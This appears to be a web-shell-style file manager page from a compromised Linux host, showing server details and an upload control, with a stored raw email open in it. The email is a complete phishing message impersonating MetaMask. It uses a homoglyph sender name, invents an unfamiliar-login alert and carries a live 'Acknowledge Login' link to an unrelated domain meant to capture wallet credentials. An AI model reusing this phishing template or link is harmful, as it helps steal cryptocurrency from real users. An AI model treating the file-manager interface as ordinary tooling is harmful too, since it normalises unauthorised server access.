HEX
Server: Apache/2
System: Linux s01 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
User: beestg (1003)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/beestg/imap/beestgenot.nl/info/Maildir/new/1748786039.M971553P686261.s01,S=4871,W=4965
Return-Path: <postmaster@93352df0f3.nxcli.io>
Delivered-To: info@beestgenot.nl
Received: from s01.web29.nl
	by s01.web29.nl with LMTP
	id cfDoOHdbPGi1eAoAUcEGyQ
	(envelope-from <postmaster@93352df0f3.nxcli.io>)
	for <info@beestgenot.nl>; Sun, 01 Jun 2025 15:53:59 +0200
Return-path: <postmaster@93352df0f3.nxcli.io>
Envelope-to: info@beestgenot.nl
Delivery-date: Sun, 01 Jun 2025 15:53:59 +0200
Received: from mail by s01.web29.nl with spam-scanned (Exim 4.98.2)
	(envelope-from <postmaster@93352df0f3.nxcli.io>)
	id 1uLj8R-00000002uK5-3OBX
	for info@beestgenot.nl;
	Sun, 01 Jun 2025 15:53:59 +0200
X-Spam-Checker-Version: SpamAssassin 4.0.1 (2024-03-26) on s01.web29.nl
X-Spam-Level: *
X-Spam-Status: No, score=1.0 required=5.0 tests=DKIM_INVALID,DKIM_SIGNED,
	HEADER_FROM_DIFFERENT_DOMAINS,HTML_IMAGE_ONLY_20,HTML_MESSAGE,
	MIME_HTML_ONLY,RCVD_IN_VALIDITY_CERTIFIED_BLOCKED,
	RCVD_IN_VALIDITY_RPBL_BLOCKED,RCVD_IN_VALIDITY_SAFE_BLOCKED
	autolearn=no autolearn_force=no version=4.0.1
Received: from cloudhost-3400452.us-midwest-1.nxcli.net ([209.87.149.213])
	by s01.web29.nl with esmtps  (TLS1.2) tls TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.2)
	(envelope-from <postmaster@93352df0f3.nxcli.io>)
	id 1uLj8Q-00000002uJz-2Z42
	for info@beestgenot.nl;
	Sun, 01 Jun 2025 15:53:59 +0200
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=93352df0f3.nxcli.io;
  b=NWB3xECfUebOFVUIHZ2SkPfPdwfXUi+fW6Op2UqfXeB5CdjEfsWmN5D6Jngy47c+Xp/J0ljf4686HR4k3UMCAjABGnARtm70gMY0hsEOTSmQ5uMC0n1NGv50xl39CDW5nFvCp+yoh4V1nxR1rpI1/JVvluL4hWl6dYO60ZW+KWo+SM8rH9HKMRZsn8v2MhUDjrDL1oxDcmqig2JtzA/MThLSFmazrEcQY2MDvmLofY0038GzeL6Km6QT1529R3vxjg3QzrP1IuGUU7m9OBYk3y+rWuZcoDCXkTxXmpLGTgrd8MvGdlD/Q6r4ny/zyQg4UBzo42dJZDSw4mkM4JgiHw==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=93352df0f3.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=MIaVaJzH/le788izLK6gqDZIjDJ+dZd6t+U
	DiVoyEe4=; b=akZIIWBlPrKY3uoXfaTvfsTdsmmD+iZ4sqXDjZVW+CAwqbjkPgo
	XGcNwbrnPyajVKFRQu7WHvpVex1G0qPpw4Ob7fdOHFE0C/uW4pwRWTjwA8ronkM6
	gJJ7LfgKEL/Ss9akbqTvV0+aef+XKTTsa/EjZlFsILf1u9qByQEdenntvWGgbnix
	Yz256CKaQX2IQoQB5kGBSaoW842KYPN6K/fALJJx8LwkJ4Uyl5k9Q6ilrzQq/Pcw
	zSOvuqkvInjcXi9HJ2UDYhZfy5l1aM4a77EH7BGwXPSdj0ReVYm7nH05Ia04UOpS
	tUKGORbUqoTao/07ghC2CqyeWI9mp4NqOhw==
Received: (qmail 5835 invoked by uid 10172); 1 Jun 2025 13:53:50 +0000
Date: 1 Jun 2025 13:53:50 +0000
Message-ID: <20250601135350.5818.qmail@cloudhost-3400452.us-midwest-1.nxcli.net>
To: info@beestgenot.nl
Subject: Security Notification
X-PHP-Originating-Script: 10172:s.php
From: "MetaMаsk" <5qs3bf89@nuz.io>
Reply-To: 5qs3bf89@nuz.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
Forward-Confirmed-ReverseDNS: Reverse and forward lookup success on 209.87.149.213, -10 Spam score
X-DKIM: signer='93352df0f3.nxcli.io' status='invalid' reason='pubkey_unavailable'
DKIMCheck: Invalid DKIM, 100 Spam score. May be a temporary problem.
SpamTally: Final spam score: 90
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
  <table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
    <tr>
      <td style="padding:28px 24px;text-align:center;">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
        <h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
        <p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
          Your account was accessed from an unfamiliar IP address.
        </p>
        <p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
          Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
        </p>
        <p style="margin:24px 0;">
          <a href="https://meerut.starmaza.news/bmw/?id=5543571367068783692-6071" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
            Acknowledge Login
          </a>
        </p>
        <p style="font-size:12px;color:#888;margin-top:24px;">
          Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
        </p>
      </td>
    </tr>
  </table>
</body>
</html>